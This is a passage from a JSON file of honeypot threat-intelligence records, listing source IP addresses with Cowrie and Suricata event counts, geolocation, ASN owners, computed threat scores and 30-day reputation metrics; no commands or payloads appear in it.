        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:40:04.691000+00:00",
        "last_seen_30d": "2026-05-29T09:42:13.069000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "186.16.172.174": {
      "attack_count": 10,
      "first_seen": "2026-05-25T15:24:21.687Z",
      "last_seen": "2026-05-25T15:33:26.728Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T15:24:21.687000+00:00",
        "last_seen_30d": "2026-05-25T15:43:22.843000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "96.47.103.114": {
      "attack_count": 10,
      "first_seen": "2026-05-12T20:05:10.501Z",
      "last_seen": "2026-05-12T20:11:15.042Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cozad",
      "asn": 11949,
      "as_org": "COZAD TELEPHONE COMPANY",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:05:10.501000+00:00",
        "last_seen_30d": "2026-05-12T20:22:05.534000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "50.104.80.184": {
      "attack_count": 8,
      "first_seen": "2026-05-18T10:38:47.404Z",
      "last_seen": "2026-05-18T10:47:19.156Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Wayne",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T10:38:47.404000+00:00",
        "last_seen_30d": "2026-05-18T10:48:42.555000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "84.242.48.43": {
      "attack_count": 8,
      "first_seen": "2026-05-13T15:38:43.279Z",
      "last_seen": "2026-05-13T15:46:56.829Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 51407,
      "as_org": "Mada Al-Arab General Services Company",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T15:38:43.279000+00:00",
        "last_seen_30d": "2026-05-13T15:57:37.932000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "52.180.137.77": {
      "attack_count": 7,
      "first_seen": "2026-05-08T08:51:47.732Z",
      "last_seen": "2026-05-08T08:51:57.731Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 18.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 22,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T08:51:40.335000+00:00",
        "last_seen_30d": "2026-05-29T14:39:59.117000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Dionaea": 2,
        "Honeytrap": 2
      }
    },
    "186.226.56.178": {
      "attack_count": 6,
      "first_seen": "2026-05-14T03:58:21.188Z",
      "last_seen": "2026-05-14T03:58:28.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:58:21.188000+00:00",
        "last_seen_30d": "2026-05-14T03:59:34.285000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.226.60.197": {
      "attack_count": 6,
      "first_seen": "2026-05-14T01:30:32.171Z",
      "last_seen": "2026-05-14T01:30:39.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:30:32.171000+00:00",
        "last_seen_30d": "2026-05-14T01:31:41.174000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.64.104.78": {
      "attack_count": 5,
      "first_seen": "2026-05-08T10:06:10.832Z",
      "last_seen": "2026-05-08T10:06:21.187Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.8,
        "persistence": 18.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 22,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T10:05:08.552000+00:00",
        "last_seen_30d": "2026-05-29T04:46:21.547000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 7,
        "Cowrie": 5
      }
    },
    "74.82.47.5": {
      "attack_count": 5,
      "first_seen": "2026-05-14T12:00:23.352Z",
      "last_seen": "2026-05-27T12:15:48.627Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T07:17:29+00:00",
        "last_seen_30d": "2026-05-31T14:35:44.861000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 101,
        "ConPot": 6,
        "Mailoney": 6,
        "Cowrie": 5,
        "Dionaea": 4,
        "Miniprint": 2
      }
    },
    "171.67.71.209": {
      "attack_count": 4,
      "first_seen": "2026-05-12T11:25:34.227Z",
      "last_seen": "2026-05-12T11:25:34.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Palo Alto",
      "asn": 32,
      "as_org": "Stanford University",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:19:20.391000+00:00",
        "last_seen_30d": "2026-05-12T11:26:41.162000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "3.94.201.110": {
      "attack_count": 4,
      "first_seen": "2026-05-25T01:01:37.061Z",
      "last_seen": "2026-05-25T01:01:42.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T00:57:01.969000+00:00",
        "last_seen_30d": "2026-05-25T01:02:50.964000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "49.206.243.163": {
      "attack_count": 4,
      "first_seen": "2026-05-10T07:20:18.505Z",
      "last_seen": "2026-05-10T07:20:19.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:20:18.505000+00:00",
        "last_seen_30d": "2026-05-10T07:21:29.087000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "71.6.134.234": {
      "attack_count": 4,
      "first_seen": "2026-05-07T17:59:50.586Z",
      "last_seen": "2026-05-07T17:59:50.988Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.7,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 19,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-06T06:52:51.698000+00:00",
        "last_seen_30d": "2026-05-24T11:15:31.849000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 268,
        "Honeytrap": 75,
        "Adbhoney": 8,
        "Dionaea": 7,
        "Redishoneypot": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "ElasticPot": 2
      }
    },
    "89.108.150.93": {
      "attack_count": 4,
      "first_seen": "2026-05-14T21:06:44.582Z",
      "last_seen": "2026-05-14T21:08:48.444Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Dba\u00efy\u00e9",
      "asn": 31126,
      "as_org": "Sodetel S.a.l.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:06:44.582000+00:00",
        "last_seen_30d": "2026-05-14T21:10:13.329000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "104.152.52.224": {
      "attack_count": 3,
      "first_seen": "2026-05-31T03:35:27.379Z",
      "last_seen": "2026-05-31T03:35:27.381Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T00:38:09.557000+00:00",
        "last_seen_30d": "2026-05-31T03:36:34.416000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 3
      }
    },
    "146.190.83.66": {
      "attack_count": 3,
      "first_seen": "2026-05-03T09:52:23.914Z",
      "last_seen": "2026-05-03T09:53:24.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 21.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 26,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T09:52:23.914000+00:00",
        "last_seen_30d": "2026-05-28T03:55:54.371000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 3,
        "Honeytrap": 3
      }
    },
    "102.180.113.21": {
      "attack_count": 2,
      "first_seen": "2026-05-24T10:21:51.724Z",
      "last_seen": "2026-05-24T10:23:51.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Burkina Faso",
      "country_code": "BF",
      "city": "Ouagadougou",
      "asn": 37577,
      "as_org": "Orange",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:21:51.724000+00:00",
        "last_seen_30d": "2026-05-24T10:34:41.393000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.144.157.146": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:52:47.083Z",
      "last_seen": "2026-05-12T13:53:01.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cabanatuan City",
      "asn": 139752,
      "as_org": "Multinetwork Cable Television, Inc",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:52:47.083000+00:00",
        "last_seen_30d": "2026-05-12T13:54:08.314000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.154.37.193": {
      "attack_count": 2,
      "first_seen": "2026-05-03T09:00:30.600Z",
      "last_seen": "2026-05-03T09:00:43.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Thrissur",
      "asn": 138754,
      "as_org": "Kerala Vision Broad Band Private Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:00:30.600000+00:00",
        "last_seen_30d": "2026-05-03T09:01:52.270000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.176.94.54": {
      "attack_count": 2,
      "first_seen": "2026-05-12T15:26:07.640Z",
      "last_seen": "2026-05-12T15:28:07.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 147141,
      "as_org": "PT Mitra Internet Indonesia",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:26:07.640000+00:00",
        "last_seen_30d": "2026-05-12T15:29:08.352000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "111.123.70.94": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:25:46.517Z",
      "last_seen": "2026-05-22T16:26:22.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:25:46.517000+00:00",
        "last_seen_30d": "2026-05-22T16:27:25.980000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.185.47.138": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:34:29.632Z",
      "last_seen": "2026-05-03T16:34:41.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:34:29.632000+00:00",
        "last_seen_30d": "2026-05-03T16:35:51.037000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.98.121": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:13:24.074Z",
      "last_seen": "2026-05-23T05:13:37.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:13:24.074000+00:00",
        "last_seen_30d": "2026-05-23T05:14:45.452000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.201.116.251": {
      "attack_count": 2,
      "first_seen": "2026-05-12T10:12:22.758Z",
      "last_seen": "2026-05-12T10:12:35.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Molina",
      "asn": 265743,
      "as_org": "COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T10:12:22.758000+00:00",
        "last_seen_30d": "2026-05-12T10:13:41.730000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.154.207.140": {
      "attack_count": 2,
      "first_seen": "2026-05-13T18:34:04.869Z",
      "last_seen": "2026-05-13T18:34:17.532Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T18:34:04.869000+00:00",
        "last_seen_30d": "2026-05-13T18:35:21.349000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.0.67.3": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:09:23.850Z",
      "last_seen": "2026-05-23T09:10:00.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:09:23.850000+00:00",
        "last_seen_30d": "2026-05-23T09:11:10.404000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.232.86.11": {
      "attack_count": 2,
      "first_seen": "2026-05-24T04:32:16.150Z",
      "last_seen": "2026-05-24T04:34:16.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Quer\u00e9taro City",
      "asn": 28536,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:32:16.150000+00:00",
        "last_seen_30d": "2026-05-24T04:35:22.205000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.148.213.58": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:22:06.942Z",
      "last_seen": "2026-05-08T08:22:21.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
